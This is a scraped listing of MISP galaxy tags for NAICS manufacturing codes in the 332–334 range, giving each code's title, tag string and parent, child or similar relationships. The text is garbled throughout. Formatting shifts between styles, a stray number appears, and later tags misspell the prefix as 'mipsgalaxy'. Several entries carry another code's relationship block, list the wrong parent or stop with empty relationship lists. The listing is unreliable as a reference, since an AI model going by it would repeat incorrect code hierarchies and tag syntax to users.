• child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"

332216
Saw Blade and Handtool Manufacturing
The tag is: misp-galaxy:naics="332216"
View relationships graph
332216 has relationships with:

- child-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"

### 3323

Architectural and Structural Metals Manufacturing

The tag is: misp-galaxy:naics="3323"

View relationships graph

3323 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332323" with estimative-language:likelihood-probability="likely"

### 33231

Plate Work and Fabricated Structural Product Manufacturing

The tag is: misp-galaxy:naics="33231"

View relationships graph

33231 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

### 332311

Prefabricated Metal Building and Component Manufacturing

The tag is: misp-galaxy:naics="332311"

View relationships graph

332311 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"
332312
Fabricated Structural Metal Manufacturing
The tag is: `misp-galaxy:naics="332312"

View relationships graph

332312 has relationships with:
  • child-of: `misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332313
Plate Work Manufacturing
The tag is: `misp-galaxy:naics="332313"

View relationships graph

332313 has relationships with:
  • child-of: `misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

33232
Ornamental and Architectural Metal Products Manufacturing
The tag is: `misp-galaxy:naics="33232"

View relationships graph

33232 has relationships with:
  • child-of: `misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332321
Metal Window and Door Manufacturing
The tag is: `misp-galaxy:naics="332321"

View relationships graph

332321 has relationships with:
  • child-of: `misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"
332322
Sheet Metal Work Manufacturing
The tag is: misp-galaxy:naics="332322"
View relationships graph
332322 has relationships with:
  • child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332323
Ornamental and Architectural Metal Work Manufacturing
The tag is: misp-galaxy:naics="332323"
View relationships graph
332323 has relationships with:
  • child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

3324
Boiler, Tank, and Shipping Container Manufacturing
The tag is: misp-galaxy:naics="3324"
View relationships graph
3324 has relationships with:
  • child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33241" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332410" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33242" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332420" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33243" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332431" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332439" with estimative-language:likelihood-probability="likely"

33241
Power Boiler and Heat Exchanger Manufacturing
33241 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332410" with estimative-language:likelihood-probability="likely"

332410

Power Boiler and Heat Exchanger Manufacturing

33242 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332410" with estimative-language:likelihood-probability="likely"

332420

Metal Tank (Heavy Gauge) Manufacturing

332420 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33242" with estimative-language:likelihood-probability="likely"
33243

Metal Can, Box, and Other Metal Container (Light Gauge) Manufacturing

The tag is: misp-galaxy:naics="33243"

View relationships graph

33243 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

332431

Metal Can Manufacturing

The tag is: misp-galaxy:naics="332431"

View relationships graph

332431 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

332439

Other Metal Container Manufacturing

The tag is: misp-galaxy:naics="332439"

View relationships graph

332439 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

3325

Hardware Manufacturing

The tag is: misp-galaxy:naics="3325"

View relationships graph

3325 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332510" with estimative-language:likelihood-probability="likely"
33251
Hardware Manufacturing
The tag is: `misp-galaxy:naics="33251"`
View relationships graph

33251 has relationships with:
• child-of: `misp-galaxy:naics="3325"` with estimative-language:likelihood-probability="likely"
• similar: `misp-galaxy:naics="332510"` with estimative-language:likelihood-probability="likely"

332510
Hardware Manufacturing
The tag is: `misp-galaxy:naics="332510"`
View relationships graph

332510 has relationships with:
• child-of: `misp-galaxy:naics="3325"` with estimative-language:likelihood-probability="likely"
• similar: `misp-galaxy:naics="33251"` with estimative-language:likelihood-probability="likely"

3326
Spring and Wire Product Manufacturing
The tag is: `misp-galaxy:naics="3326"`
View relationships graph

3326 has relationships with:
• child-of: `misp-galaxy:naics="332"` with estimative-language:likelihood-probability="likely"
• parent-of: `misp-galaxy:naics="33261"` with estimative-language:likelihood-probability="likely"
• parent-of: `misp-galaxy:naics="332613"` with estimative-language:likelihood-probability="likely"
• parent-of: `misp-galaxy:naics="332618"` with estimative-language:likelihood-probability="likely"

33261
Spring and Wire Product Manufacturing
The tag is: `misp-galaxy:naics="33261"`
View relationships graph

4524
33261 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

332613
Spring Manufacturing

The tag is: misp-galaxy:naics="332613"

View relationships graph

332613 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

332618
Other Fabricated Wire Product Manufacturing

The tag is: misp-galaxy:naics="332618"

View relationships graph

332618 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

3327
Machine Shops; Turned Product; and Screw, Nut, and Bolt Manufacturing

The tag is: misp-galaxy:naics="3327"

View relationships graph

3327 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33271" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33272" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332722" with estimative-language:likelihood-probability="likely"
33271
Machine Shops
The tag is: misp-galaxy:naics="33271"
View relationships graph

33271 has relationships with:
• child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="332710" with estimative-language:likelihood-probability="likely"

332710
Machine Shops
The tag is: misp-galaxy:naics="332710"
View relationships graph

332710 has relationships with:
• child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33271" with estimative-language:likelihood-probability="likely"

33272
Turned Product and Screw, Nut, and Bolt Manufacturing
The tag is: misp-galaxy:naics="33272"
View relationships graph

33272 has relationships with:
• child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"

332721
Precision Turned Product Manufacturing
The tag is: misp-galaxy:naics="332721"
View relationships graph

332721 has relationships with:
• child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
332722
Bolt, Nut, Screw, Rivet, and Washer Manufacturing
The tag is: misp-galaxy:naics="332722"
View relationships graph
332722 has relationships with:
  • child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"

3328
Coating, Engraving, Heat Treating, and Allied Activities
The tag is: misp-galaxy:naics="3328"
View relationships graph
3328 has relationships with:
  • child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33281" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332811" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332812" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="332813" with estimative-language:likelihood-probability="likely"

33281
Coating, Engraving, Heat Treating, and Allied Activities
The tag is: misp-galaxy:naics="33281"
View relationships graph
33281 has relationships with:
  • child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"

332811
Metal Heat Treating
The tag is: misp-galaxy:naics="332811"
View relationships graph
332811 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

### 332812

Metal Coating, Engraving (except Jewelry and Silverware), and Allied Services to Manufacturers

The tag is: misp-galaxy:naics="332812"

View relationships graph

332812 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

### 332813

Electroplating, Plating, Polishing, Anodizing, and Coloring

The tag is: misp-galaxy:naics="332813"

View relationships graph

332813 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

### 3329

Other Fabricated Metal Product Manufacturing

The tag is: misp-galaxy:naics="3329"

View relationships graph

3329 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332913" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332919" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332992" with estimative-language:likelihood-probability="likely"
33291

Metal Valve Manufacturing

The tag is: \textit{misp-galaxy:naics="33291"}

View relationships graph

33291 has relationships with:

- child-of: \textit{misp-galaxy:naics="3329"} with estimative-language:likelihood-probability="likely"

332911

Industrial Valve Manufacturing

The tag is: \textit{misp-galaxy:naics="332911"}

View relationships graph

332911 has relationships with:

- child-of: \textit{misp-galaxy:naics="3329"} with estimative-language:likelihood-probability="likely"

332912

Fluid Power Valve and Hose Fitting Manufacturing

The tag is: \textit{misp-galaxy:naics="332912"}

View relationships graph

332912 has relationships with:

- child-of: \textit{misp-galaxy:naics="3329"} with estimative-language:likelihood-probability="likely"

332913

Plumbing Fixture Fitting and Trim Manufacturing

The tag is: \textit{misp-galaxy:naics="332913"}

View relationships graph
332913 has relationships with:
  - child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

**332919**

Other Metal Valve and Pipe Fitting Manufacturing

The tag is: misp-galaxy:naics="332919"

View relationships graph

332919 has relationships with:
  - child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

**33299**

All Other Fabricated Metal Product Manufacturing

The tag is: misp-galaxy:naics="33299"

View relationships graph

33299 has relationships with:
  - child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

**332991**

Ball and Roller Bearing Manufacturing

The tag is: misp-galaxy:naics="332991"

View relationships graph

332991 has relationships with:
  - child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

**332992**

Small Arms Ammunition Manufacturing

The tag is: misp-galaxy:naics="332992"

View relationships graph

332992 has relationships with:
332993
Ammunition (except Small Arms) Manufacturing
The tag is: misp-galaxy:naics="332993"
View relationships graph
332993 has relationships with:
  • child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332994
Small Arms, Ordnance, and Ordnance Accessories Manufacturing
The tag is: misp-galaxy:naics="332994"
View relationships graph
332994 has relationships with:
  • child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332996
Fabricated Pipe and Pipe Fitting Manufacturing
The tag is: misp-galaxy:naics="332996"
View relationships graph
332996 has relationships with:
  • child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332999
All Other Miscellaneous Fabricated Metal Product Manufacturing
The tag is: misp-galaxy:naics="332999"
View relationships graph
332999 has relationships with:
  • child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"
333
Machinery Manufacturing
The tag is: misp-galaxy:naics="333"

View relationships graph

333 has relationships with:

• parent-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3333" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

3331
Agriculture, Construction, and Mining Machinery Manufacturing
The tag is: misp-galaxy:naics="3331"

View relationships graph

3331 has relationships with:

• child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="333111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="333112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33312" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="333120" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33313" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="333131" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="333132" with estimative-language:likelihood-probability="likely"

33311
Agricultural Implement Manufacturing
The tag is: misp-galaxy:naics="33311"
33311 has relationships with:
  • child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333111
Farm Machinery and Equipment Manufacturing
The tag is: misp-galaxy:naics="333111"

333112
Lawn and Garden Tractor and Home Lawn and Garden Equipment Manufacturing
The tag is: misp-galaxy:naics="333112"

33312
Construction Machinery Manufacturing
The tag is: misp-galaxy:naics="33312"

333120
Construction Machinery Manufacturing
The tag is: misp-galaxy:naics="333120"
333120 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33312" with estimative-language:likelihood-probability="likely"

33313

Mining and Oil and Gas Field Machinery Manufacturing

The tag is: misp-galaxy:naics="33313"

View relationships graph

33313 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333131

Mining Machinery and Equipment Manufacturing

The tag is: misp-galaxy:naics="333131"

View relationships graph

333131 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333132

Oil and Gas Field Machinery and Equipment Manufacturing

The tag is: misp-galaxy:naics="333132"

View relationships graph

333132 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

3332

Industrial Machinery Manufacturing

The tag is: misp-galaxy:naics="3332"

View relationships graph

3332 has relationships with:
33324

Industrial Machinery Manufacturing

The tag is: misp-galaxy:naics="33324"

View relationships graph

33324 has relationships with:

• child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333241

Food Product Machinery Manufacturing

The tag is: misp-galaxy:naics="333241"

View relationships graph

333241 has relationships with:

• child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333242

Semiconductor Machinery Manufacturing

The tag is: misp-galaxy:naics="333242"

View relationships graph

333242 has relationships with:

• child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333243

Sawmill, Woodworking, and Paper Machinery Manufacturing

The tag is: misp-galaxy:naics="333243"
333243 has relationships with:
- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333248

All Other Industrial Machinery Manufacturing

The tag is: misp-galaxy:naics="333248"

3333

Commercial and Service Industry Machinery Manufacturing

The tag is: misp-galaxy:naics="3333"

33331

Commercial and Service Industry Machinery Manufacturing

The tag is: misp-galaxy:naics="33331"

333310

Commercial and Service Industry Machinery Manufacturing

The tag is: misp-galaxy:naics="333310"
The tag is: `misp-galaxy:naics="333310"`

View relationships graph

333310 has relationships with:

- child-of: `misp-galaxy:naics="3333"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="33331"` with estimative-language:likelihood-probability="likely"

3334

Ventilation, Heating, Air-Conditioning, and Commercial Refrigeration Equipment Manufacturing

The tag is: `misp-galaxy:naics="3334"`

View relationships graph

3334 has relationships with:

- child-of: `misp-galaxy:naics="333"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33341"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333413"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333414"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333415"` with estimative-language:likelihood-probability="likely"

33341

Ventilation, Heating, Air-Conditioning, and Commercial Refrigeration Equipment Manufacturing

The tag is: `misp-galaxy:naics="33341"`

View relationships graph

33341 has relationships with:

- child-of: `misp-galaxy:naics="3334"` with estimative-language:likelihood-probability="likely"

333413

Industrial and Commercial Fan and Blower and Air Purification Equipment Manufacturing

The tag is: `misp-galaxy:naics="333413"`

View relationships graph

333413 has relationships with:

- child-of: `misp-galaxy:naics="3334"` with estimative-language:likelihood-probability="likely"
333414

Heating Equipment (except Warm Air Furnaces) Manufacturing

The tag is: `misp-galaxy:naics="333414"`

View relationships graph

333414 has relationships with:

- child-of: `misp-galaxy:naics="3334"` with estimative-language:likelihood-probability="likely"

333415

Air- Conditioning and Warm Air Heating Equipment and Commercial and Industrial Refrigeration Equipment Manufacturing

The tag is: `misp-galaxy:naics="333415"`

View relationships graph

333415 has relationships with:

- child-of: `misp-galaxy:naics="3334"` with estimative-language:likelihood-probability="likely"

3335

Metalworking Machinery Manufacturing

The tag is: `misp-galaxy:naics="3335"`

View relationships graph

3335 has relationships with:

- child-of: `misp-galaxy:naics="333"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33351"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333511"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333514"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333515"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333519"` with estimative-language:likelihood-probability="likely"

33351

Metalworking Machinery Manufacturing
33351
Industrial Mold Manufacturing

The tag is: misp-galaxy:naics="33351"
View relationships graph

33351 has relationships with:
• child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333511
Industrial Mold Manufacturing

The tag is: misp-galaxy:naics="333511"
View relationships graph

333511 has relationships with:
• child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333514
Special Die and Tool, Die Set, Jig, and Fixture Manufacturing

The tag is: misp-galaxy:naics="333514"
View relationships graph

333514 has relationships with:
• child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333515
Cutting Tool and Machine Tool Accessory Manufacturing

The tag is: misp-galaxy:naics="333515"
View relationships graph

333515 has relationships with:
• child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333517
Machine Tool Manufacturing

The tag is: misp-galaxy:naics="333517"
333517 has relationships with:
  - child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333519
Rolling Mill and Other Metalworking Machinery Manufacturing
The tag is: misp-galaxy:naics="333519"

3336
Engine, Turbine, and Power Transmission Equipment Manufacturing
The tag is: misp-galaxy:naics="3336"

33361
Engine, Turbine, and Power Transmission Equipment Manufacturing
The tag is: misp-galaxy:naics="33361"
333611
Turbine and Turbine Generator Set Units Manufacturing
The tag is: misp-galaxy:naics="333611"
View relationships graph
333611 has relationships with:
• child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333612
Speed Changer, Industrial High-Speed Drive, and Gear Manufacturing
The tag is: misp-galaxy:naics="333612"
View relationships graph
333612 has relationships with:
• child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333613
Mechanical Power Transmission Equipment Manufacturing
The tag is: misp-galaxy:naics="333613"
View relationships graph
333613 has relationships with:
• child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333618
Other Engine Equipment Manufacturing
The tag is: misp-galaxy:naics="333618"
View relationships graph
333618 has relationships with:
• child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"
3339
Other General Purpose Machinery Manufacturing

The tag is: `misp-galaxy:naics="3339"`

View relationships graph

3339 has relationships with:

- child-of: `misp-galaxy:naics="333"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333912"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333914"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33392"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333921"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333922"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333923"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33399"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333991"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333992"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333993"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333994"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333995"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333996"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="333998"` with estimative-language:likelihood-probability="likely"

33391
Pump and Compressor Manufacturing

The tag is: `misp-galaxy:naics="33391"`

View relationships graph

33391 has relationships with:

- child-of: `misp-galaxy:naics="333"` with estimative-language:likelihood-probability="likely"
333912
Air and Gas Compressor Manufacturing
The tag is: misp-galaxy:naics="333912"

View relationships graph

333912 has relationships with:
- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333914
Measuring, Dispensing, and Other Pumping Equipment Manufacturing
The tag is: misp-galaxy:naics="333914"

View relationships graph

333914 has relationships with:
- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

33392
Material Handling Equipment Manufacturing
The tag is: misp-galaxy:naics="33392"

View relationships graph

33392 has relationships with:
- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333921
Elevator and Moving Stairway Manufacturing
The tag is: misp-galaxy:naics="333921"

View relationships graph

333921 has relationships with:
- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"
**333922**

Conveyor and Conveying Equipment Manufacturing

The tag is: `misp-galaxy:naics="333922"`

View relationships graph

333922 has relationships with:

- child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

**333923**

Overhead Traveling Crane, Hoist, and Monorail System Manufacturing

The tag is: `misp-galaxy:naics="333923"`

View relationships graph

333923 has relationships with:

- child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

**333924**

Industrial Truck, Tractor, Trailer, and Stacker Machinery Manufacturing

The tag is: `misp-galaxy:naics="333924"`

View relationships graph

333924 has relationships with:

- child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

**33399**

All Other General Purpose Machinery Manufacturing

The tag is: `misp-galaxy:naics="33399"`

View relationships graph

33399 has relationships with:

- child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"
333991
Power-Driven Handtool Manufacturing
The tag is: misp-galaxy:naics="333991"
View relationships graph
333991 has relationships with:
  • child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333992
Welding and Soldering Equipment Manufacturing
The tag is: misp-galaxy:naics="333992"
View relationships graph
333992 has relationships with:
  • child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333993
Packaging Machinery Manufacturing
The tag is: misp-galaxy:naics="333993"
View relationships graph
333993 has relationships with:
  • child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333994
Industrial Process Furnace and Oven Manufacturing
The tag is: misp-galaxy:naics="333994"
View relationships graph
333994 has relationships with:
  • child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"
333995

Fluid Power Cylinder and Actuator Manufacturing

The tag is: `misp-galaxy:naics="333995"`

View relationships graph

333995 has relationships with:

• child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

333996

Fluid Power Pump and Motor Manufacturing

The tag is: `misp-galaxy:naics="333996"`

View relationships graph

333996 has relationships with:

• child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

333998

All Other Miscellaneous General Purpose Machinery Manufacturing

The tag is: `misp-galaxy:naics="333998"`

View relationships graph

333998 has relationships with:

• child-of: `misp-galaxy:naics="3339"` with estimative-language:likelihood-probability="likely"

334

Computer and Electronic Product Manufacturing

The tag is: `misp-galaxy:naics="334"`

View relationships graph

334 has relationships with:

• parent-of: `misp-galaxy:naics="3341"` with estimative-language:likelihood-probability="likely"
• parent-of: `misp-galaxy:naics="3342"` with estimative-language:likelihood-probability="likely"
• parent-of: `misp-galaxy:naics="3343"` with estimative-language:likelihood-probability="likely"
3341

Computer and Peripheral Equipment Manufacturing

The tag is: `misp-galaxy:naics="3341"`

View relationships graph

3341 has relationships with:

- child-of: `misp-galaxy:naics="334"`
- parent-of: `misp-galaxy:naics="33411"`
- parent-of: `misp-galaxy:naics="334111"`
- parent-of: `misp-galaxy:naics="334112"`
- parent-of: `misp-galaxy:naics="334118"`

33411

Computer and Peripheral Equipment Manufacturing

The tag is: `misp-galaxy:naics="33411"`

View relationships graph

33411 has relationships with:

- child-of: `misp-galaxy:naics="3341"`

334111

Electronic Computer Manufacturing

The tag is: `misp-galaxy:naics="334111"`

View relationships graph

334111 has relationships with:

- child-of: `misp-galaxy:naics="3341"`

334112

Computer Storage Device Manufacturing
The tag is: `misp-galaxy:naics="334112"`

View relationships graph

334112 has relationships with:

- child-of: `misp-galaxy:naics="3341"` with estimative-language:likelihood-probability="likely"

334118

Computer Terminal and Other Computer Peripheral Equipment Manufacturing

The tag is: `misp-galaxy:naics="334118"`

View relationships graph

334118 has relationships with:

- child-of: `misp-galaxy:naics="3341"` with estimative-language:likelihood-probability="likely"

3342

Communications Equipment Manufacturing

The tag is: `misp-galaxy:naics="3342"`

View relationships graph

3342 has relationships with:

- child-of: `misp-galaxy:naics="334"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="334210"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33422"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="334220"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33429"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="334290"` with estimative-language:likelihood-probability="likely"

33421

Telephone Apparatus Manufacturing

The tag is: `misp-galaxy:naics="33421"`

View relationships graph

33421 has relationships with:
334210

Telephone Apparatus Manufacturing

The tag is: misp-galaxy:naics="334210"

View relationships graph

334210 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33421" with estimative-language:likelihood-probability="likely"

33422

Radio and Television Broadcasting and Wireless Communications Equipment Manufacturing

The tag is: misp-galaxy:naics="33422"

View relationships graph

33422 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334220" with estimative-language:likelihood-probability="likely"

334220

Radio and Television Broadcasting and Wireless Communications Equipment Manufacturing

The tag is: misp-galaxy:naics="334220"

View relationships graph

334220 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33422" with estimative-language:likelihood-probability="likely"

33429

Other Communications Equipment Manufacturing

The tag is: misp-galaxy:naics="33429"
33429 has relationships with:

- child-of: mipsgalaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: mipsgalaxy:naics="334290" with estimative-language:likelihood-probability="likely"

334290

Other Communications Equipment Manufacturing

The tag is: mipsgalaxy:naics="334290"

3343 has relationships with:

- child-of: mipsgalaxy:naics="334" with estimative-language:likelihood-probability="likely"
- similar: mipsgalaxy:naics="33429" with estimative-language:likelihood-probability="likely"

3343

Audio and Video Equipment Manufacturing

The tag is: mipsgalaxy:naics="3343"

33431 has relationships with:

- child-of: mipsgalaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="33431" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="334310" with estimative-language:likelihood-probability="likely"

33431

Audio and Video Equipment Manufacturing

The tag is: mipsgalaxy:naics="33431"
334310
Audio and Video Equipment Manufacturing
The tag is: misp-galaxy:naics="334310"
View relationships graph
334310 has relationships with:
